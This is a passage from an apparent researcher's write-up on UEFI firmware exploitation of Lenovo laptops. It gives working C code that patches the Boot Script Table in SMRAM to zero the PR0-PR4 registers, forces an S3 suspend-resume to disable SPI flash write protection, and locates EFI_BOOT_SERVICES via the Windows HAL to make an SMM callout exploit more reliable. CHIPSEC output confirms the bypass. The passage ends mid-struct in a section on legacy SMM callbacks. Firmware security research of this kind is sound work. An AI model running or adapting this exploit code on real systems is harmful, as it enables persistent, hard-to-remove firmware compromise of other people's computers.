// check for valid SMRAM pointer
#define IS_SMRAM_PTR(_val_) ((unsigned long long)(_val_) >= TSEG && \
                             (unsigned long long)(_val_) < TSEG + SMRAM_SIZE)

// offset of the EFI_SMM_SYSTEM_TABLE2::NumberOfTableEntries and SmmConfigurationTable
#define EFI_SMM_SYSTEM_TABLE2_NumberOfTableEntries  0xa8
#define EFI_SMM_SYSTEM_TABLE2_SmmConfigurationTable 0xb0

typedef struct
{
    GUID VendorGuid;
    void *VendorTable;

} EFI_CONFIGURATION_TABLE;

unsigned long long configuration_table_addr(PUEFI_EXPL_TARGET target, GUID *guid)
{
    unsigned long long ret = 0, table_addr = 0, table_entries = 0;

    // get EFI_SMM_SYSTEM_TABLE address
    unsigned long long smst = smst_addr(target);
    if (smst == 0)
    {
        return 0;
    }

    unsigned long long TSEG = smst & ~(unsigned long long)(SMRAM_SIZE - 1);

    // read NumberOfTableEntries value
    if (phys_mem_read(
        target, (void *)(smst + EFI_SMM_SYSTEM_TABLE2_NumberOfTableEntries),
        sizeof(unsigned long long), (unsigned char *)&table_entries, NULL) != 0)
    {
        return 0;
    }

    // read SmmConfigurationTable pointer
    if (phys_mem_read(
        target, (void *)(smst + EFI_SMM_SYSTEM_TABLE2_SmmConfigurationTable),
        sizeof(unsigned long long), (unsigned char *)&table_addr, NULL) != 0)
    {
        return 0;
    }

    if (!IS_SMRAM_PTR(table_addr))
    {
        return 0;
    }

    for (unsigned long long i = 0; i < table_entries; i += 1)
    {
        EFI_CONFIGURATION_TABLE table_entry;

        // read configuration table entry
        if (phys_mem_read(
            target, (void *)(table_addr + i * sizeof(EFI_CONFIGURATION_TABLE)),
            sizeof(EFI_CONFIGURATION_TABLE), (unsigned char *)&table_entry, NULL) != 0)
        {
            return 0;
        }

        // match GUID
        if (!memcmp(&table_entry.VendorGuid, guid, sizeof(GUID)))
        {
            if (!IS_SMRAM_PTR(table_entry.VendorTable))
            {
                return 0;
            }

            // return vendor specific table address
            return (unsigned long long)table_entry.VendorTable;
        }
    }

    return ret;
}

To make my code more reliable I made a simple macro IS_SMRAM_PTR() — it used to validate all of the pointers readed from SMRAM — it helps to prevent unexpected crashes on unknown/unsupported firmware versions that may have different layout of certain SMM structures.

Now we can write another function that locates UEFI SMM configuration table of LockBox and parses it’s data to determine location of Boot Script Table copy stored in SMRAM:

// "LOCKB_64" magic constant
#define SMM_LOCK_BOX_SIGNATURE_64 0x34365F424B434F4C

typedef struct
{
    unsigned long long Signature;
    LIST_ENTRY *Head;

} SMM_LOCK_BOX_DATA;

typedef struct
{
    unsigned int Size;
    unsigned long long Unknown;
    void *Address;
    LIST_ENTRY Link;

} SMM_BOOT_SCRIPT;

int boot_script_table_addr(
    PUEFI_EXPL_TARGET target,
    unsigned long long *addr, unsigned int *size)
{
    // get SMRAM address
    unsigned long long TSEG = smram_addr(target);
    if (TSEG == 0)
    {
        return -1;
    }

    // find EFI SMM configuration table that belongs to SMM lockbox
    unsigned long long lockbox_addr = configuration_table_addr(
        target, gEfiSmmLockBoxCommunicationGuid);
    if (lockbox_addr == 0)
    {
        return -1;
    }

    SMM_LOCK_BOX_DATA lockbox;

    // read SMM lockbox structure
    if (phys_mem_read(
        target, (void *)lockbox_addr,
        sizeof(SMM_LOCK_BOX_DATA), (unsigned char *)&lockbox, NULL) != 0)
    {
        return -1;
    }

    // check for valid magic constant at the beginning of the lockbox structure
    if (lockbox.Signature != SMM_LOCK_BOX_SIGNATURE_64)
    {
        return -1;
    }

    if (!IS_SMRAM_PTR(lockbox.Head))
    {
        return -1;
    }

    LIST_ENTRY list_entry;

    // read SMM lockbox LIST_ENTRY
    if (phys_mem_read(
        target, (void *)lockbox.Head,
        sizeof(LIST_ENTRY), (unsigned char *)&list_entry, NULL) != 0)
    {
        return -1;
    }

    if (!IS_SMRAM_PTR(list_entry.Blink))
    {
        return -1;
    }

    SMM_BOOT_SCRIPT bootscript;

    // read boot script table information
    if (phys_mem_read(
        target,
        (void *)((unsigned long long)list_entry.Blink - FIELD_OFFSET(SMM_BOOT_SCRIPT, Link)),
        sizeof(SMM_BOOT_SCRIPT), (unsigned char *)&bootscript, NULL) != 0)
    {
        return -1;
    }

    if (!IS_SMRAM_PTR(bootscript.Address))
    {
        return -1;
    }

    unsigned short bootscript_magic = 0;

    // read boot script table signature
    if (phys_mem_read(
        target, bootscript.Address,
        sizeof(unsigned short), (unsigned char *)&bootscript_magic, NULL) != 0)
    {
        return -1;
    }

    // check for the boot script table signature
    if (bootscript_magic != 0xAA)
    {
        return -1;
    }

    *addr = (unsigned long long)bootscript.Address;
    *size = bootscript.Size;

    return 0;
}

Using this function we finally can obtain Boot Script Table dump on live system and check what interesting things it hides. As it was said in my “Exploiting UEFI boot script table vulnerability” article — UEFI specification (check “Boot Script Specification” document) covers only protocols used by firmware to access Boot Script Table contents and operation codes of it’s entries, but not the table binary format itself.

Here you can see some of Boot Script Table opcodes defined in specification:

#define EFI_BOOT_SCRIPT_IO_WRITE_OPCODE                 0x00
#define EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE            0x01
#define EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE                0x02
#define EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE           0x03
#define EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE         0x04
#define EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE    0x05
#define EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE            0x06
#define EFI_BOOT_SCRIPT_STALL_OPCODE                    0x07
#define EFI_BOOT_SCRIPT_DISPATCH_OPCODE                 0x08

Hexadecimal dump of Boot Script Table from ThinkPad T450s with firmware ver. 1.11:

Despite of unknown format we easily can recognise some fields of table entry: size is highlighted with blue and opcode is highlighted with red. Let’s scroll down and check the table for PRx registers addresses or values, and bingo! At the end of the Boot Script Table we have 5 entries that sets values of PR0-PR4 registers:

Register physical memory address (that points inside Root Complex Register Block) is highlighted with green and register value is highlighted with yellow. These values are perfectly match values from CHIPSEC output that was shown above.

Here’s the code that performs table entries patching to set PR0-PR4 register values to zero. Then it callss3_sleep_with_timeout() function to trigger suspend-resume cycle and execute modified Boot Script Table. After S3 resume it reads PR0-PR4 values once again to check if PRx flash write protection was sucessfully disabled:

int pr_disable(PUEFI_EXPL_TARGET target)
{
    int ret = -1;
    unsigned long long bootscript_addr = 0, rcrb_addr = 0;
    unsigned int bootscript_size = 0, ptr = 2;
    unsigned int pr0_val = 0, pr1_val = 0, pr2_val = 0, pr3_val = 0, pr4_val = 0;

    // get current values of PRx registers
    if (pr_get(target, &rcrb_addr, &pr0_val, &pr1_val, &pr2_val, &pr3_val, &pr4_val) != 0)
    {
        return -1;
    }

    // check if any protected ranges are set
    if (pr0_val == 0 && pr1_val == 0 && pr2_val == 0 && pr3_val == 0 && pr4_val == 0)
    {
        return 0;
    }

    // find UEFI boot script table address (points inside SMRAM) and size
    if (boot_script_table_addr(target, &bootscript_addr, &bootscript_size) != 0)
    {
        return -1;
    }

    // allocate bufer for boot script table entries
    unsigned char *bootscript = (unsigned char *)malloc(bootscript_size);
    if (bootscript == NULL)
    {
        return -1;
    }

    // read boot script table entries
    if (phys_mem_read(
        target, (void *)bootscript_addr, bootscript_size, bootscript, NULL) != 0)
    {
        goto _end;
    }

    struct
    {
        const char *name;
        unsigned long long addr;
        bool found;

    } pr_regs[] = { { "PR0", rcrb_addr + PR0, false },
                    { "PR1", rcrb_addr + PR1, false },
                    { "PR2", rcrb_addr + PR2, false },
                    { "PR3", rcrb_addr + PR3, false },
                    { "PR4", rcrb_addr + PR4, false } };

    int registers_found = 0, entries_patched = 0;

    // enumerate table entries
    while (ptr < bootscript_size - 2)
    {
        unsigned char *entry = bootscript + ptr;

        // get entry size and opcode
        unsigned char size = *(entry + 0);
        unsigned char code = *(entry + 1);

        if (size > bootscript_size - ptr)
        {
            goto _end;
        }

        // check if boot script table entry performs memory write operation
        if (code == BOOT_SCRIPT_MEM_WRITE_OPCODE)
        {
            // get write address and value arguments
            unsigned long long addr = *(unsigned long long *)(entry + 0x09);
            unsigned int val = *(unsigned int *)(entry + 0x11);

            for (int i = 0; i < 5; i += 1)
            {
                // determinate if address belongs to PRx register
                if (addr == pr_regs[i].addr)
                {
                    val = 0;

                    // patch PRx write value to zero
                    if (phys_mem_write(
                        target, (void *)(bootscript_addr + ptr + 0x11),
                        sizeof(unsigned int), (unsigned char *)&val, NULL) == 0)
                    {
                        entries_patched += 1;
                    }

                    if (!pr_regs[i].found)
                    {
                        registers_found += 1;
                    }

                    pr_regs[i].found = true;
                    break;
                }
            }
        }

        // go to the next boot script table entry
        ptr += size;
    }

    if (registers_found > 0)
    {
        // go to the S3 sleep
        if (s3_sleep_with_timeout(10) == 0)
        {
            // get current values of PRx registers
            if (pr_get(target, &rcrb_addr,
                       &pr0_val, &pr1_val, &pr2_val, &pr3_val, &pr4_val) != 0)
            {
                goto _end;
            }

            // check if any protected ranges are set
            if (pr0_val == 0 && pr1_val == 0 && pr2_val == 0 && pr3_val == 0 && pr4_val == 0)
            {
                ret = 0;
            }
        }
    }

_end:

    if (bootscript)
    {
        free(bootscript);
    }

    return ret;
}

The tricky part was about waking up the platform from S3 sleep on Windows operating system where libfwexpl works, on Linux it’s relatively easy to do this thing using rtcwake command line utlity included in all of the major distributives. However, it seems that on Windows there’s no any dedicated API or utility for that purpose. My first idea was about creating Task Scheduler entry — it has an option to wake up the system from sleep to execute specific task, but my friend advised me much more simple trick.

SetWaitableTimer() Win32 API function has fResume boolean argument:

BOOL WINAPI SetWaitableTimer(
    _In_           HANDLE             hTimer,
    _In_     const LARGE_INTEGER      *pDueTime,
    _In_           LONG               lPeriod,
    _In_opt_       PTIMERAPCROUTINE   pfnCompletionRoutine,
    _In_opt_       LPVOID             lpArgToCompletionRoutine,
    _In_           BOOL               fResume
);

It’s description from MSDN:

If this parameter is TRUE, restores a system in suspended power conservation mode when the timer state is set to signalled. Otherwise, the system is not restored. If the system does not support a restore, the call succeeds, butGetLastError returns ERROR_NOT_SUPPORTED.

So, we need to check if S3 power state is supported by current platform, set waitable timer with TRUE value offResume for specified amount of time and put the system to S3 sleep with SetSuspendState() API call, platform wakes up when timer will be signalled:

DWORD WINAPI s3_sleep_thread(LPVOID lpParam)
{
    Sleep(300);

    // put computer into sleep
    SetSuspendState(FALSE, TRUE, FALSE);

    return 0;
}

int s3_sleep_with_timeout(int seconds)
{
    int ret = -1;
    SYSTEM_POWER_CAPABILITIES PowerCapabilities;

    // get power capabilities
    if (!GetPwrCapabilities(&PowerCapabilities))
    {
        return -1;
    }

    // check if S3 sleep is supported by this system
    if (!PowerCapabilities.SystemS3)
    {
        return -1;
    }

    // create waitable timer that wakes up computer from sleep
    HANDLE hTimer = CreateWaitableTimer(NULL, TRUE, NULL);
    if (hTimer)
    {
        LARGE_INTEGER Time;
        Time.QuadPart = seconds * -1 * 1000 * 1000 * 10;

        if (SetWaitableTimer(hTimer, &Time, 0, NULL, NULL, TRUE))
        {
            HANDLE hThread = CreateThread(NULL, 0, s3_sleep_thread, NULL, 0, NULL);
            if (hThread)
            {
                HANDLE Events[] = { hTimer, hThread };

                // wait till wakeup
                WaitForMultipleObjects(2, Events, FALSE, INFINITE);
                CloseHandle(hThread);

                ret = 0;
            }
        }

        CloseHandle(hTimer);
    }

    return ret;
}

I implemented –pr-disable command line option of fwexpl_app which allows to use this attack with 1day Lenovo exploit. Let’s run it and check if we can bypass PRx flash write protection:

PRx flash write protection bypass exploit in action

Success! Now let’s run CHIPSEC and verify that PR0-PR4 registers have zero values after execution of patched Boot Script Table:

# python chipsec_main.py -m common.bios_wp

****** Chipsec Linux Kernel module is licensed under GPL 2.0

################################################################
##                                                            ##
##  CHIPSEC: Platform Hardware Security Assessment Framework  ##
##                                                            ##
################################################################
[CHIPSEC] Version 1.2.1
[CHIPSEC] Arguments: -m common.bios_wp

****** Chipsec Linux Kernel module is licensed under GPL 2.0

[CHIPSEC] OS      : Linux 4.1.6 #1 SMP Sun Aug 23 19:27:36 2015 x86_64
[CHIPSEC] Platform: Mobile 5th Generation Core Processor (Broadwell M/H / Wildcat Point PCH)
[CHIPSEC]      VID: 8086
[CHIPSEC]      DID: 1604

[+] loaded chipsec.modules.common.bios_wp
[*] running loaded modules ..

[*] running module: chipsec.modules.common.bios_wp
[*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/common/bios_wp.pyc
[x][ =======================================================================
[x][ Module: BIOS Region Write Protection
[x][ =======================================================================
[*] BC = 0x2A << BIOS Control (b:d.f 00:31.0 + 0xDC)
    [00] BIOSWE           = 0 << BIOS Write Enable
    [01] BLE              = 1 << BIOS Lock Enable
    [02] SRC              = 2 << SPI Read Configuration
    [04] TSS              = 0 << Top Swap Status
    [05] SMM_BWP          = 1 << SMM BIOS Write Protection
[+] BIOS region write protection is enabled (writes restricted to SMM)

[*] BIOS Region: Base = 0x00500000, Limit = 0x00FFFFFF
SPI Protected Ranges
------------------------------------------------------------
PRx (offset) | Value    | Base     | Limit    | WP? | RP?
------------------------------------------------------------
PR0 (74)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR1 (78)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR2 (7C)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR3 (80)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR4 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0

[!] None of the SPI protected ranges write-protect BIOS region

As you can see, everything works just fine. Currently I haven’t tested this code on firmware of other computers, but as far as I can see, PRx flash write protection bypass attack should work on any Lenovo machines. In practice, there’s a typical to find a similar approaches for specific engineering tasks in firmware from different OEM/IBV companies, so, there’s a high probability that described attack can be used as generic way to turn SMM code execution vulnerabilities into the full flash write protection bypass (BIOS_CNTL and PRx) on wide range of computers available at the market.

Also, I had some private talk with Intel security people and they say that technically this kind of design flaws which allow to disable PRx is not a vulnerability — their current threat model for IA-32 platforms implies that once the attacker managed to execute arbitrary SMM code, it’s game over for flash write protection. I see some sort of irony in this point, as it was said above — the coolest feature of PRx registers is practical possibility of implementing strong flash write protection that doesn’t rely on System Management Mode code at all.

Making exploit code more reliable

In previous version of fwexpl_app it was necessary to specify the address of RegisterProtocol field ofEFI_BOOT_SERVICES structure — it’s knowledge was needed to exploit the SMM callout vulnerability. In new version of the tool I implemented some binary heuristics which find this address automatically, so, you don’t need to specify it using –target-addr option or hardcode it into the g_targets[] array anymore.

These heuristics rely on simple fact that during operating system execution there are still some runtime phase UEFI drivers present in system memory. For example, Windows kernel usesEFI_RUNTIME_SERVICES.GetVariable()/SetVariable() functions to implement functionality ofNtQuerySystemEnvironmentValue(), NtSetSystemEnvironmentValue() and other similar system calls that used to access NVRAM variables.

Let’s check the code of hal!HalGetEnvironmentVariableEx() function that callsEFI_RUNTIME_SERVICES.GetVariable():

.text:000000008003B374 ; Attributes: bp-based frame fpd=70h
.text:000000008003B374
.text:000000008003B374                 public HalGetEnvironmentVariableEx
.text:000000008003B374 HalGetEnvironmentVariableEx proc near
.text:000000008003B374
.text:000000008003B374                 push    rbp
.text:000000008003B375                 push    rbx
.text:000000008003B376                 push    rsi
.text:000000008003B377                 push    rdi
.text:000000008003B378                 push    r12
.text:000000008003B37A                 push    r13
.text:000000008003B37C                 push    r14
.text:000000008003B37E                 push    r15
.text:000000008003B380                 sub     rsp, 68h
.text:000000008003B384                 lea     rbp, [rsp+30h]
.text:000000008003B389                 mov     rax, cs:__security_cookie
.text:000000008003B390                 xor     rax, rbp
.text:000000008003B393                 mov     [rbp+70h+var_48], rax
.text:000000008003B397                 mov     r12, [rbp+70h+arg_20]
.text:000000008003B39E                 xor     r13d, r13d
.text:000000008003B3A1                 mov     r15, r8
.text:000000008003B3A4                 cmp     cs:HalFirmwareTypeEfi, r13b
                   ...

This code is referencing hal!HalFirmwareTypeEfi global variable, if we will look over it in disassembly code we can see that there’s also a hal!HalEfiRuntimeServicesTable variable around. This variable points to the internal HAL structure that contains the address of EFI_RUNTIME_SERVICES.GetVariable() and other UEFI runtime functions:

                   ...
.data:0000000080058D10 HalEfiRuntimeServicesTable dq ?
.data:0000000080058D18 HalFirmwareTypeEfi db ?
.data:0000000080058D19                 align 4
                   ...

The EFI_RUNTIME_SERVICES.GetVariable() function itself is located inside LenovoVariableSmm UEFI runtime driver. If we check the entry point function of this driver we see that it uses gBS global variable to keep the address ofEFI_BOOT_SERVICES structure — that’s exactly what we looking for!

.text:00000000AA8DC1FC ; EFI_STATUS __fastcall start(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
.text:00000000AA8DC1FC                 public start
.text:00000000AA8DC1FC start           proc near
.text:00000000AA8DC1FC
.text:00000000AA8DC1FC                 mov     [rsp-8+arg_0], rbx
.text:00000000AA8DC201                 push    rbp
.text:00000000AA8DC202                 mov     rbp, rsp
.text:00000000AA8DC205                 sub     rsp, 60h
.text:00000000AA8DC209                 lea     r8, [rbp+arg_10]
.text:00000000AA8DC20D                 mov     rbx, rdx
.text:00000000AA8DC210                 call    sub_AA8DCC00 ; initialize global variables
.text:00000000AA8DC215                 cmp     byte ptr [rbp+arg_10], 1
.text:00000000AA8DC219                 jnz     loc_AA8DC349
.text:00000000AA8DC21F                 mov     rax, cs:qword_AA8DCEB8
.text:00000000AA8DC226                 lea     rdx, qword_AA8DCF00
.text:00000000AA8DC22D                 mov     rcx, rax
.text:00000000AA8DC230                 call    qword ptr [rax+38h]
.text:00000000AA8DC233                 mov     rax, cs:gBS ; rax <- EFI_BOOT_SERVICES address
.text:00000000AA8DC23A                 lea     r8, qword_AA8DCF18
.text:00000000AA8DC241                 lea     rcx, qword_AA8DB690
.text:00000000AA8DC248                 xor     edx, edx
.text:00000000AA8DC24A                 call    qword ptr [rax+140h] ; LocateProtocol() call
                   ...

.text:00000000AA8DCE98 ; EFI_BOOT_SERVICES *gBS
.text:00000000AA8DCE98 gBS             dq ?
.text:00000000AA8DCE98
.text:00000000AA8DCEA0 ; EFI_RUNTIME_SERVICES *gRT
.text:00000000AA8DCEA0 gRT             dq ?
.text:00000000AA8DCEA0
.text:00000000AA8DCEA8 ; EFI_SYSTEM_TABLE *gST
.text:00000000AA8DCEA8 gST             dq ?
                   ...

Now we can write a function that locates and dumps HAL, finds address of LenovoVariableSmm UEFI driver byEFI_RUNTIME_SERVICES.GetVariable() address and obtains the value of it’s gBS global variable to returnEFI_BOOT_SERVICES structure address:

#define IS_CANONICAL_ADDR(_addr_) (((DWORD_PTR)(_addr_) & 0xfffff80000000000) == \
                                                          0xfffff80000000000)

#define IS_EFI_DXE_ADDR(_addr_) (((DWORD_PTR)(_addr_) & 0xffffffff00000000) == 0 && \
                                 ((DWORD_PTR)(_addr_) & 0x00000000ffffffff) != 0)

char *m_szHalNames[] =
{
    "hal.dll",      // Non-ACPI PIC HAL
    "halacpi.dll",  // ACPI PIC HAL
    "halapic.dll",  // Non-ACPI APIC UP HAL
    "halmps.dll",   // Non-ACPI APIC MP HAL
    "halaacpi.dll", // ACPI APIC UP HAL
    "halmacpi.dll", // ACPI APIC MP HAL
    NULL
};

unsigned long long win_get_efi_boot_services(void)
{
    unsigned long long Ret = 0;
    PVOID EfiRuntimeImageAddr = NULL;
    DWORD dwEfiRuntimeImageSize = 0;
    HMODULE hModule = NULL;

    PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSysInf(SystemModuleInformation);
    if (Info)
    {
        PVOID HalAddr = NULL;
        char *lpszHalName = NULL;

        // enumerate loaded kernel modules
        for (DWORD i = 0; i < Info->NumberOfModules; i += 1)
        {
            char *lpszName = (char *)Info->Modules[i].FullPathName + Info->Modules[i].OffsetToFileName;

            // match by all of the possible HAL names
            for (DWORD i_n = 0; m_szHalNames[i_n] != NULL; i_n += 1)
            {
                if (!strcmp(strlwr(lpszName), m_szHalNames[i_n]))
                {
                    // get HAL address and path
                    HalAddr = Info->Modules[i].ImageBase;
                    lpszHalName = lpszName;
                    break;
                }
            }

            if (lpszHalName)
            {
                break;
            }
        }

        if (HalAddr && lpszHalName)
        {
            // load HAL as dynamic library
            hModule = LoadLibraryExA(lpszHalName, 0, DONT_RESOLVE_DLL_REFERENCES);
        }

        M_FREE(Info);
    }

    if (hModule)
    {
        PVOID pHalEfiRuntimeServicesTable = NULL;

        PVOID Func = GetProcAddress(hModule, "HalGetEnvironmentVariableEx");
        if (Func)
        {
            for (DWORD i = 0; i < 0x40; i += 1)
            {
                PUCHAR Ptr = RVATOVA(Func, i), Addr = NULL;

                /*
                    Check for the following code of hal!HalGetEnvironmentVariableEx():

                        cmp     cs:HalFirmwareTypeEfi, 0

                        ...

                        HalEfiRuntimeServicesTable dq ?
                        HalFirmwareTypeEfi db ?
                */
                if (*(PUSHORT)Ptr == 0x3d80 /* CMP */)
                {
                    // get address of hal!HalEfiRuntimeServicesTable
                    Addr = Ptr + *(PLONG)(Ptr + 2) - 1;
                }
                else if (*(PUSHORT)(Ptr + 0) == 0x3844 && *(Ptr + 2) == 0x2d /* CMP */)
                {
                    // get address of hal!HalEfiRuntimeServicesTable
                    Addr = Ptr + *(PLONG)(Ptr + 3) - 1;
                }

                if (Addr)
                {
                    // calculate a real kernel address
                    pHalEfiRuntimeServicesTable = (PVOID)RVATOVA(HalAddr, Addr - (PUCHAR)hModule);
                    break;
                }
            }
        }

        if (IS_CANONICAL_ADDR(pHalEfiRuntimeServicesTable))
        {
            PVOID HalEfiRuntimeServicesTable = NULL;

            // read hal!HalEfiRuntimeServicesTable value
            if (uefi_expl_virt_mem_read(
                (unsigned long long)pHalEfiRuntimeServicesTable,
                sizeof(PVOID), (unsigned char *)&HalEfiRuntimeServicesTable))
            {
                if (IS_CANONICAL_ADDR(HalEfiRuntimeServicesTable))
                {
                    PVOID EfiGetVariable = NULL;

                    // read EFI_RUNTIME_SERVICES.GetVariable() address
                    if (uefi_expl_virt_mem_read(
                        (unsigned long long)HalEfiRuntimeServicesTable + (sizeof(DWORD_PTR) * 3),
                        sizeof(PVOID), (unsigned char *)&EfiGetVariable))
                    {
                        if (IS_CANONICAL_ADDR(EfiGetVariable))
                        {
                            PUCHAR Addr = (PUCHAR)XALIGN_DOWN((DWORD_PTR)EfiGetVariable, PAGE_SIZE);
                            DWORD dwMaxSize = 0;

                            // find EFI image load address by GetVariable() address
                            while (dwMaxSize < PAGE_SIZE * 4)
                            {
                                UCHAR Buff[PAGE_SIZE];

                                // read memory page of EFI image
                                if (!uefi_expl_virt_mem_read((unsigned long long)Addr, PAGE_SIZE, Buff))
                                {
                                    break;
                                }

                                PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)&Buff;

                                // check for valid DOS header
                                if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE &&
                                    pDosHeader->e_lfanew < PAGE_SIZE - sizeof(IMAGE_NT_HEADERS))
                                {
                                    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)
                                        RVATOVA(pDosHeader, pDosHeader->e_lfanew);

                                    // check for valid NT header
                                    if (pNtHeader->Signature == IMAGE_NT_SIGNATURE)
                                    {
                                        EfiRuntimeImageAddr = Addr;
                                        dwEfiRuntimeImageSize = pNtHeader->OptionalHeader.SizeOfImage;
                                        break;
                                    }
                                }

                                Addr -= PAGE_SIZE;
                                dwMaxSize += PAGE_SIZE;
                            }
                        }
                    }
                }
            }
        }

        FreeLibrary(hModule);
    }

    if (IS_CANONICAL_ADDR(EfiRuntimeImageAddr) && dwEfiRuntimeImageSize > 0)
    {
        PUCHAR Image = (PUCHAR)M_ALLOC(dwEfiRuntimeImageSize);
        if (Image)
        {
            // dump EFI runtime image from memory
            if (uefi_expl_virt_mem_read(
                (unsigned long long)EfiRuntimeImageAddr,
                dwEfiRuntimeImageSize, Image))
            {
                PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
                    RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

                for (DWORD i = 0; i < 0x100; i += 1)
                {
                    PUCHAR Ptr = RVATOVA(Image,
                        pHeaders->OptionalHeader.AddressOfEntryPoint + i);

                    /*
                        Check for the following code at entry point of EFI driver:

                            mov     rax, cs:qword_AA8DCE98  ; get EFI_BOOT_SERVICES address
                            call    qword ptr [rax+140h]    ; call LocateProtocol function
                    */
                    if (*(Ptr + 0x00) == 0x48 && *(Ptr + 0x01) == 0x8b &&
                        *(Ptr + 0x02) == 0x05 && *(Ptr + 0x07) == 0xff &&
                        *(Ptr + 0x08) == 0x90 && *(PDWORD)(Ptr + 0x09) == 0x140)
                    {
                        // get address of variable that points to EFI_BOOT_SERVICES
                        PVOID *pEfiBootServices = (PVOID *)(Ptr + *(PLONG)(Ptr + 3) + 7);

                        if (IS_EFI_DXE_ADDR(*pEfiBootServices))
                        {
                            Ret = (unsigned long long)*pEfiBootServices;
                        }

                        break;
                    }
                }
            }

            M_FREE(Image);
        }
    }

    return Ret;
}

In addition I implemented a few other command line options that might be useful to play with the boot script attacks: –bs-dump that dumps contents of the Boot Script Table stored in SMM LockBox into the file, and –s3-resume that puts the system into the S3 sleep and wakes it up after specified amount of seconds.

Just another kind of SMM callbacks

In my previous article I already told you about SMM callback flaws on example of SMM callout vulnerability in SW SMI handler of SystemSmmAhciAspiLegacyRt Lenovo firmware driver. However, from UEFI specification and my other articles (like “Building reliable SMM backdoor for UEFI based platforms”) you probably know that there are actually lots of other SMM callback types. EFI specification of version 1.x defines EFI_SMM_BASE_PROTOCOL that hasCommunicate() and RegisterCallback() functions — the last one was used to register SMM LockBox communication callback described in fisrt part of this article:

typedef struct _EFI_SMM_BASE_PROTOCOL
{
    EFI_SMM_REGISTER_HANDLER    Register;
    EFI_SMM_UNREGISTER_HANDLER  UnRegister;
    EFI_SMM_COMMUNICATE         Communicate;
    EFI_SMM_CALLBACK_SERVICE    RegisterCallback;
    EFI_SMM_INSIDE_OUT          InSmm;
    EFI_SMM_ALLOCATE_POOL       SmmAllocatePool;
    EFI_SMM_FREE_POOL           SmmFreePool;
    EFI_SMM_GET_SMST_LOCATION   GetSmstLocation;

} EFI_SMM_BASE_PROTOCOL;

However, in 2.x EFI specification this protocol was replaced with EFI_SMM_BASE2_PROTOCOL and it’s functionality was significantly reduced because SMM callbacks were moved to dedicated protocol EFI_SMM_COMMUNICATION_PROTCOL:

typedef struct _EFI_SMM_BASE2_PROTOCOL
{
    EFI_SMM_INSIDE_OUT2         InSmm;
    EFI_SMM_GET_SMST_LOCATION2  GetSmstLocation;

} EFI_SMM_BASE2_PROTOCOL;

Very often firmware of real products available at the market is stucked somewhere between 1.x and 2.x EFI version, so, it’s quite typical to see relatively fresh code that still implements legacy protocols like EFI_SMM_BASE_PROTOCOL for compatibility purposes. After I met such legacy callback in SMM LockBox driver — I decided to find all similar callbacks used in actual versions of Lenovo firmware and check them for some interesting vulnerabilities.

Documentation on EFI_SMM_BASE_PROTOCOL.RegisterCallback() function from “System Management Mode Core Interface Specification”:

/**
  Register a callback to execute within SMM.
  This allows receipt of messages created with EFI_SMM_BASE_PROTOCOL.Communicate().

    @param[in]  This                  Protocol instance pointer.
    @param[in]  SmmImageHandle        Handle of the callback service.
    @param[in]  CallbackAddress       Address of the callback service.
    @param[in]  MakeLast              If present, will stipulate that the handler is posted to
                                      be executed last in the dispatch table.
    @param[in]  FloatingPointSave     An optional parameter that informs the
                                      EFI_SMM_ACCESS_PROTOCOL Driver core if it needs to save
                                      the floating point register state. If any handler
                                      require this, the state will be saved for all handlers.

    @retval     EFI_SUCCESS           The operation was successful.
    @retval     EFI_OUT_OF_RESOURCES  Not enough space in the dispatch queue.
    @retval     EFI_UNSUPPORTED       The platform is in runtime.
    @retval     EFI_UNSUPPORTED       The caller is not in SMM.
**/
typedef
EFI_STATUS
(EFIAPI *EFI_SMM_CALLBACK_SERVICE)(
    IN EFI_SMM_BASE_PROTOCOL          *This,
    IN EFI_HANDLE                     SmmImageHandle,
    IN EFI_SMM_CALLBACK_ENTRY_POINT   CallbackAddress,
    IN BOOLEAN                        MakeLast OPTIONAL,
    IN BOOLEAN                        FloatingPointSave OPTIONAL
);

As you can see, each registered callback has it’s own EFI_HANDLE value that used to call it withEFI_SMM_BASE_PROTOCOL.Communicate() function:

/**
    The SMM Inter-module Communicate Service Communicate() function
    provides a service to send/receive messages from a registered
    EFI service.  The BASE protocol driver is responsible for doing
    any of the copies such that the data lives in boot-service-accessible RAM.

    @param[in]      This                  The protocol instance pointer.
    @param[in]      ImageHandle           The handle of the the callback service.
    @param[in,out]  CommunicationBuffer   The pointer to the buffer to convey into SMRAM.
    @param[in,out]  SourceSize            The size of the data buffer being passed in.
                                          On exit, the size of data being returned.
                                          Zero if the handler does not wish to reply with any data.

    @retval         EFI_SUCCESS           The message was successfully posted.
    @retval         EFI_INVALID_PARAMETER The buffer was NULL.
**/
typedef
EFI_STATUS
(EFIAPI * EFI_SMM_COMMUNICATE)(
    IN EFI_SMM_BASE_PROTOCOL     *This,
    IN EFI_HANDLE                ImageHandle,
    IN OUT VOID                  *CommunicationBuffer,
    IN OUT UINTN                 *SourceSize
);

SMM callback function has the following signature:

typedef
EFI_STATUS
(EFIAPI * EFI_SMM_CALLBACK_ENTRY_POINT)(
    IN EFI_HANDLE SmmImageHandle,
    IN OUT VOID *CommunicationBuffer OPTIONAL,
    IN OUT UINTN *SourceSize OPTIONAL
);

According to specification, EFI_SMM_BASE_PROTOCOL.Communicate() function caller must set proper header of memory buffer that will be passed to SMM callback:

#define SMM_COMMUNICATE_HEADER_GUID { F328E36C-23B6-4a95-854B-32E19534CD75 }

typedef struct
{
    /*
        Allows for disambiguation of the message format. See above for the definition of
